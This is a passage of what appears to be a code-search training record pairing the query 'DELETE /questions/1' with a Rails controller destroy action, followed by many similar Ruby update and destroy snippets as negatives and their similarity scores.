@question, notice: \"Question was successfully updated.\" }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n if (@question.question_type.short_text? || @question.question_type.open_ended_text?)\n path = survey_path(params[:survey_id])\n else\n path = survey_question_path(params[:survey_id],@question.id)\n end\n format.html { redirect_to path, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question_option = QuestionOption.find(params[:id])\n check_forged_path\n\n respond_to do |format|\n if @question_option.update_attributes(params[:question_option])\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.json { render :json => @question_option.errors.to_json }\n format.xml { render :xml => @question_option.errors.to_xml }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, :notice =>'Question was successfully updated.' }\n format.json { render :show, :status => :ok, :location => @question }\n else\n format.html { render :edit }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question_tag = QuestionTag.find(params[:id])\n\n respond_to do |format|\n if @question_tag.update_attributes(params[:question_tag])\n format.html { redirect_to @question_tag, notice: 'Question tag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question_attribute = QuestionAttribute.find(params[:id])\n\n respond_to do |format|\n if @question_attribute.update_attributes(params[:question_attribute])\n flash[:notice] = 'QuestionAttribute was successfully updated.'\n format.html { redirect_to(@question_attribute) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_attribute.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def put(path, options={})\n request :put, path, options\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n \t# update tags\n \t@question.tag_with(params[:question][:tag_list])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n if @quest.update_attributes(params[:quest])\n format.html { redirect_to(@quest, :notice => 'Quest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def edit_question\n\t\t\tquizzes = current_instructor.quizzes\n\t\t\t@found = 0\n\t\t\tquizzes.each do |quiz|\n\t\t\t\tif(quiz.questions.exists?(:id => params[:question_id]))\n\t\t\t\t\t@found = @found + 1\n\t\t\t\tend \n\t\t\tend\n\t\t\tif (@found > 0)\n\t\t\t\tquestion = Question.find(params[:question_id])\n\t\t\t\tif (question.update(question_params))\n\t\t\t\t\trender json: { success: true, data: { :question => question }, info:{} }, status: 200\n\t\t\t\telse\n\t\t\t\t\trender json: { error: question.errors }, status: 422 \n\t\t\t\tend\t\n\t\t\telse\n\t\t\t\trender json: { error:\"Question is not found\" }, status: 422\n\t\t\tend\n\t\tend", "def question(data)\n xml = xml_root(\"questions\")\n\n arrayed(data).each do |name|\n xml.root << (XML::Node.new(\"question\") << name)\n end\n\n send_and_process('questions/add', 'questions/question', xml)\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to question_url(@question) }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors.to_xml }\n end\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'La pregunta fue modificada correctamente.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to edit_question_path(@question), notice: 'Question was successfully updated.' }\n format.json\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def update\n respond_to do |format|\n if @test_question.update(test_question_params)\n format.html { redirect_to @test_question, notice: 'Test question was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_question }\n else\n format.html { render :edit }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:question_id])\n respond_to do |format|\n if @question.update(question_params)\n @question.create_activity :update, owner: (current_user)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.67647064", "0.66528136", "0.64766777", "0.63554084", "0.63483685", "0.6336809", "0.6309207", "0.6309207", "0.6309207", "0.6309207", "0.6309207", "0.6296827", "0.62933934", "0.62850326", "0.6229838", "0.6168152", "0.6076047", "0.6048553", "0.60477537", "0.6041378", "0.6041206", "0.6032447", "0.60209846", "0.60209846", "0.60209846", "0.60209846", "0.60209846", "0.59956884", "0.59778434", "0.59730786", "0.59677786", "0.59509045", "0.59425026", "0.5936124", "0.5920149", "0.589993", "0.5897967", "0.5860016", "0.5849904", "0.5805419", "0.5804939", "0.57950956", "0.5781985", "0.5780219", "0.5776602", "0.57761735", "0.57708526", "0.5768209", "0.5757287", "0.5750599", "0.5746711", "0.5744637", "0.57395333", "0.57310504", "0.572455", "0.57065547", "0.5691602", "0.5687327", "0.5682541", "0.56806886", "0.5676884", "0.5674803", "0.56728774", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.5666092", "0.56612444", "0.56564116", "0.5656365", "0.5643519", "0.56375295", "0.56375295", "0.56375295", "0.56255287", "0.5620671", "0.5613923", "0.5610966", "0.5608565", "0.5606922", "0.55847836", "0.55818", "0.5566666", "0.5561611", "0.5558432", "0.5557138" ]
0.5579678
96
DELETE /questions/1 DELETE /questions/1.xml
def destroy @question = Question.find(params[:id]) check_forged_path @question.destroy respond_to do |format| format.html { redirect_to questions_url(@questionnaire, @page) } format.xml { head :ok } format.json { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @question = Question.find(params[:id])\n\n @question.destroy\n \n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t@question = Question.find(params[:id])\n\t@question.destroy\n\n\trespond_to do |format|\n\t format.html { redirect_to(questions_url) }\n\t format.xml { head :ok }\n\tend\n end", "def destroy\n\t@question = Question.find(params[:id])\n\t@question.destroy\n\n\trespond_to do |format|\n\t format.html { redirect_to(questions_url) }\n\t format.xml { head :ok }\n\tend\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def deletepublish\n @question = Publishquiz.find(:all, :conditions=>\"question_id=\"+params[:question]+\" and quiz_id=\"+session[:quizid])\n @question[0].destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = @quiz.questions.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(quiz_questions_url(@quiz)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = @topic.questions.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(topic_questions_path(@topic)) }\n format.xml { head :ok }\n end\n end", "def delete_questions\n response = Request.delete_request(URL_QUESTION)\n if response.success?\n redirect '/upload-csv'\n end\nend", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back) }\n format.xml { head :ok }\n end\n end", "def destroy\n @survey_question = SurveyQuestion.find(params[:id])\n @survey_question.destroy\n\n respond_to do |format|\n format.html { redirect_to(survey_questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n @children = Question.find_all_by_parentid(params[:id])\n if @children != nil\n \tfor child in @children\n \t\tchild.destroy\n \tend\n end\n respond_to do |format|\n flash[:notice] = 'Question was successfully deleted.'\n format.html { redirect_to(:back) }\n format.xml { head :ok }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @questionform_question = QuestionformQuestion.find(params[:id])\n @questionform_question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questionform_questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_question = UserQuestion.find(params[:id])\n @user_question.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question.destroy\n head :no_content\n end", "def destroy\n @cc_question = CcQuestion.find(params[:id])\n @cc_question.destroy\n\n respond_to do |format|\n format.html { redirect_to(cc_questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question_attribute = QuestionAttribute.find(params[:id])\n @question_attribute.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_attributes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @etx_file = EtxFile.find(params[:id])\n \n arr = @etx_file.ques_no.split(\",\")\n Question.destroy(arr)\n @etx_file.update_attributes(status: true)\n #@etx_file.destroy\n\n respond_to do |format|\n format.html { redirect_to etx_files_url }\n format.json { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @qa = Qa.find(params[:id])\n @qa.destroy\n\n respond_to do |format|\n format.html { redirect_to(qas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @qa = Qa.find(params[:id])\n @qa.destroy\n\n respond_to do |format|\n format.html { redirect_to(qas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question_topic = QuestionTopic.find(params[:id])\n @question_topic.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_topics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to(quests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n #@admin_academy_question.destroy\n a = Academy::Question.find(params[:id].split('-')[0])\n a.update(:is_deleted => true)\n dest = a.id\n type = 4 #answer_question_code\n Notification.clear_notifications(type,dest)\n a.save\n\n respond_to do |format|\n format.html { redirect_to admin_academy_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_item = QuestionItem.find(params[:id])\n @question_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @test_question = TestQuestion.find(params[:id])\n @test_question.destroy\n\n respond_to do |format|\n format.html { redirect_to test_questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n question = Question.find params[:id]\n question.destroy\n redirect_to root_path\n end", "def destroy\n if @v1_question.destroy\n render json: {'message': 'Deleted question successfully'}, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n\n end", "def destroy\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question = Question.where(:id => params[:id], :problem_set_id => params[:problem_set_id]).first\n @answer = Answer.where(:question_id => params[:id]).all\n @answer.each do |a|\n a.destroy\n end\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(problem_set_questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_answers_url(@question)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Admin::Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_url(params[:survey_id]) }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @question_requirement = QuestionRequirement.find(params[:id])\n @question_requirement.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_requirements_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n\tend", "def destroy\n @questao = Questao.find(params[:id])\n @questao.destroy\n\n respond_to do |format|\n format.html { redirect_to(questoes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #@question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_answer = SurveyAnswer.find(params[:id])\n @survey_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(survey_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @qx = Qx.find(params[:id])\n @qx.destroy\n\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @base_question = BaseQuestion.find(params[:id])\n @base_question.destroy\n\n respond_to do |format|\n format.html { redirect_to base_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to(exams_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '削除しました。' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n\t redirect_to root_url\n end", "def destroy\n @questionset = Questionset.find(params[:id])\n @questionset.destroy\n\n respond_to do |format|\n format.html { redirect_to questionsets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ask_answer = AskAnswer.find(params[:id])\n @ask_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(ask_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @survey_question = Survey::Question.find(params[:id])\n @survey_question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_questions_url }\n\n end\n end", "def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(:all)\n @question.each do |q|\n q.destroy\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to paper_questions_path, notice: '題目已被成功刪除' }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @question_localized = QuestionLocalized.find(params[:id])\n @question_localized.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_localizeds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.xml { head :ok }\n end\n end", "def delete\n question = QuestionTest.where(test_id: params[:test_id], question_id: params[:id])\n if question.delete_all\n return render json: {message: 'Question was removed succesfully.', error: false}\n else\n return render json: {message: 'Error: Something went wrong. Question was not removed.', error: true}\n end\n end", "def destroy\n @question_option = QuestionOption.find(params[:id])\n check_forged_path\n @question_option.destroy\n\n respond_to do |format|\n format.json { head :ok }\n format.xml { head :ok }\n end\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to admin_questions_path }\n format.json { head :no_content }\n end\n end", "def destroy\n # before_action :set_question\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: \"質問を削除しました\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @parent_question.destroy\n respond_to do |format|\n format.html { redirect_to parent_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_question = MyQuestion.find(params[:id])\n @my_question.destroy\n\n respond_to do |format|\n format.html { redirect_to my_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @question.destroy\n \n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'DNS was successfully removed.' }\n format.json { head :no_content }\n \nend\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '質問を削除しました' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_set = QuestionSet.find(params[:id])\n @question_set.destroy\n\n respond_to do |format|\n format.html { redirect_to question_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @faq = Faq.find(params[:id])\n @faq.destroy\n\n respond_to do |format|\n format.html { redirect_to(faqs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @faq = Faq.find(params[:id])\n @faq.destroy\n\n respond_to do |format|\n format.html { redirect_to(faqs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n #na real, cada question pertence a um quiz, basta achar a question de mesma id\n @qq = QuizQuestion.where(question: @question)\n @qq.destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to(surveys_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question_option = QuestionOption.find(params[:id])\n @question_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_options_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @api_v1_question.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ask = Ask.find(params[:id])\n @ask.destroy\n\n respond_to do |format|\n format.html { redirect_to(asks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @b_question.destroy\n respond_to do |format|\n format.html { redirect_to questions_path }\n format.json { head :no_content }\n end\n end", "def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end" ]
